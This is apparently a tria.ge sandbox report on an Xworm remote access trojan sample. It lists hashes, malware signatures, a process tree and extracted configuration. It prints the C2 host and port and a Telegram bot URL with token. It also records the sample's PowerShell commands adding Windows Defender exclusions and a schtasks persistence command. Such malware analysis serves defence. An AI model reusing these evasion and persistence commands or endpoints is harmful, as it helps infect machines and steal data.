Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

27/01/2025, 22:06

250127-11h8zsxkbx 10

27/01/2025, 22:03

250127-1yqv2sxjdw 10

27/01/2025, 22:00

250127-1wzeeaxnek 10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/01/2025, 22:06

General

  • Target

    XLOADER.exe

  • Size

    165KB

  • MD5

    35faa4d7d6a4ce2d4af4c66f42547af7

  • SHA1

    e844d33f3bd11f49822e0314732c7a13e9ee8e29

  • SHA256

    ef1737d52757e66af3d80c1a64ee974236f011783cb54960a1f6adc5a47386fa

  • SHA512

    baa7c5a212dff66fedbf6ed3325ad3cd9dc17831a35450125a63ebecd735df1a16ce4362c6e8518586b6f5895b3950f4573cf8721e55a9fcc67d1fddb35ea3e2

  • SSDEEP

    3072:LrLWKPAfXXXMaaJBGye1k07+X7hje/MbuYDDs6POkfEKVRuLS:LuY2XSJB7e1LIwEbDDBmkfEK

Malware Config

Extracted

Family

xworm

C2

sponef159-35748.portmap.host:35748

Attributes
  • Install_directory

    %AppData%

  • install_file

    svchost.exe

  • telegram

    https://api.telegram.org/bot7508868671:AAG6XIOhz39IrQIUnjub1TKVOVZHfdjpsvM/sendMessage?chat_id=6094400048

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 34 IoCs
  • Modifies registry class 20 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of FindShellTrayWindow 9 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\XLOADER.exe
    "C:\Users\Admin\AppData\Local\Temp\XLOADER.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:320
    • C:\Users\Admin\AppData\Local\Temp\XClient.exe
      "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1372
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3528
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5060
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3156
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4028
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2864
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 193.161.193.99 35748 1999 FBB2DBF07DEA74533A82
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3476
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -c explorer shell:::{3080F90E-D7AD-11D9-BD98-0000947B0257}
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3644
          • C:\Windows\SysWOW64\explorer.exe
            "C:\Windows\system32\explorer.exe" shell::: -encodedCommand MwAwADgAMABGADkAMABFAC0ARAA3AEEARAAtADEAMQBEADkALQBCAEQAOQA4AC0AMAAwADAAMAA5ADQANwBCADAAMgA1ADcA -inputFormat xml -outputFormat text
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2920
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
    1⤵
      PID:1456
    • C:\Users\Admin\AppData\Roaming\svchost.exe
      C:\Users\Admin\AppData\Roaming\svchost.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:372
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5112
      • C:\Program Files\Internet Explorer\iexplore.exe
        "C:\Program Files\Internet Explorer\iexplore.exe" -nohome
        2⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1768
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1768 CREDAT:17410 /prefetch:2
          3⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of SetWindowsHookEx
          PID:1872
    • C:\Users\Admin\AppData\Roaming\svchost.exe
      C:\Users\Admin\AppData\Roaming\svchost.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3988

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

      Filesize

      471B

      MD5

      65ff4e1a660b03c192195dc09416d8a8

      SHA1

      c8e9c1b5d0e74e2f581eaa06d77db42ddb2b24b9

      SHA256

      25f890730498e80c6b85f0ca869917f45af6cadbb427695a615181eac3285dc2

      SHA512

      3efa3c79d74861659b4e6e97b362fb4943eeae2e81425029bbf407fb2c4c914bc2d2b43bc8164e9ed050cdb24f411a8582e086eb3557227ad79ec2256c5a52ba

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

      Filesize

      404B

      MD5

      4a6914503488d7d60db43d53a4aa7a5c

      SHA1

      bc68281880907d9a91aa7e1fff157bac9868874a

      SHA256

      e314a77a62709628b9885d0d5a21ab063a483ca16df2fc5a4f4e1d41ba428441

      SHA512

      730df967adc5e21ce3e48083db6af347a2944d09a2060258217d6cd27110b28f30a60f1d74ef0fc29fcb7fe7cdea7e47a45d5ecff1c5ca83680bc1185f9d56f3

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

      Filesize

      654B

      MD5

      2ff39f6c7249774be85fd60a8f9a245e

      SHA1

      684ff36b31aedc1e587c8496c02722c6698c1c4e

      SHA256

      e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

      SHA512

      1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      6d42b6da621e8df5674e26b799c8e2aa

      SHA1

      ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

      SHA256

      5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

      SHA512

      53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      50d3033f2bc3a3774c469d03e71a79a9

      SHA1

      22027b1d52085de99b3bffa276530fea5d961471

      SHA256

      2987e99ec7fa17bd4ab7de3cb4dc62645e1052012a5a357904d6fc6db9054147

      SHA512

      ecf7ab1a9e4192454a3e24c60453fd702a8c648e00078fc933b9182f4a3d3c10c6f5da622a5729b35727e6ddc8837029caddcaf76f56e805b9744253b56da5d8

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      96e3b86880fedd5afc001d108732a3e5

      SHA1

      8fc17b39d744a9590a6d5897012da5e6757439a3

      SHA256

      c3077e4cadb4ed246c02abe55aa6cf832fee4c2546b7addb7d22cd1c7c8c1294

      SHA512

      909b1968f7204fa7029109b02232d8cc5438f6b4dc7c9044e4e47c59fcee538199b13029e36592b12ed573d48a308dd4822d2ced4129ab08d4111897e02be55d

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      ef647504cf229a16d02de14a16241b90

      SHA1

      81480caca469857eb93c75d494828b81e124fda0

      SHA256

      47002672443e80410e55a0b6d683573ac27d70d803b57ee3c2818d1008669710

      SHA512

      a6d8c08c708eee6f7e700880ce79d2ba7cd0acbe8529d96e18f3e90ea1f3cf33fd801dd6eba6017cdd02769e968c48278c090c1deeac710124f79423cd862ee1

    • C:\Users\Admin\AppData\Local\Temp\XClient.exe

      Filesize

      49KB

      MD5

      9cda258445b322eb90f65b32ba86d86c

      SHA1

      d86a39dcc80db9cef23fc389dbbb6951ed7f908c

      SHA256

      0aca70f4574b4f593ad118de1846cb744eed48473a8fd51759c37e508d44e50f

      SHA512

      f76c77b63b6e881cd6e9a436b5efe5e4a45a8e78126fcc6876ec6855ef2572ba7e9dec7200e32ddca78f232d451305f87729ee5989f3c8ed83cde53d132a1d9a

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ge214bel.y5y.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/320-1-0x0000000000510000-0x000000000053E000-memory.dmp

      Filesize

      184KB

    • memory/320-0-0x00007FFCD5833000-0x00007FFCD5835000-memory.dmp

      Filesize

      8KB

    • memory/1372-15-0x00007FFCD5830000-0x00007FFCD62F1000-memory.dmp

      Filesize

      10.8MB

    • memory/1372-72-0x0000000002E70000-0x0000000002E7C000-memory.dmp

      Filesize

      48KB

    • memory/1372-73-0x000000001C550000-0x000000001C566000-memory.dmp

      Filesize

      88KB

    • memory/1372-67-0x00007FFCD5830000-0x00007FFCD62F1000-memory.dmp

      Filesize

      10.8MB

    • memory/1372-66-0x00007FFCD5830000-0x00007FFCD62F1000-memory.dmp

      Filesize

      10.8MB

    • memory/1372-101-0x00000000014C0000-0x00000000014CA000-memory.dmp

      Filesize

      40KB

    • memory/1372-14-0x0000000000D40000-0x0000000000D52000-memory.dmp

      Filesize

      72KB

    • memory/3476-75-0x0000000004CD0000-0x0000000004D62000-memory.dmp

      Filesize

      584KB

    • memory/3476-78-0x0000000004FF0000-0x0000000005056000-memory.dmp

      Filesize

      408KB

    • memory/3476-77-0x00000000053C0000-0x0000000005964000-memory.dmp

      Filesize

      5.6MB

    • memory/3476-76-0x0000000004D70000-0x0000000004E0C000-memory.dmp

      Filesize

      624KB

    • memory/3476-74-0x0000000000400000-0x0000000000410000-memory.dmp

      Filesize

      64KB

    • memory/3528-16-0x000001D7EBDD0000-0x000001D7EBDF2000-memory.dmp

      Filesize

      136KB

    • memory/3644-79-0x00000000032A0000-0x00000000032D6000-memory.dmp

      Filesize

      216KB

    • memory/3644-80-0x0000000005BE0000-0x0000000006208000-memory.dmp

      Filesize

      6.2MB

    • memory/3644-81-0x00000000058F0000-0x0000000005912000-memory.dmp

      Filesize

      136KB

    • memory/3644-82-0x0000000005990000-0x00000000059F6000-memory.dmp

      Filesize

      408KB

    • memory/3644-92-0x0000000006410000-0x0000000006764000-memory.dmp

      Filesize

      3.3MB

    • memory/3644-94-0x00000000068B0000-0x00000000068CE000-memory.dmp

      Filesize

      120KB

    • memory/3644-95-0x00000000068D0000-0x000000000691C000-memory.dmp

      Filesize

      304KB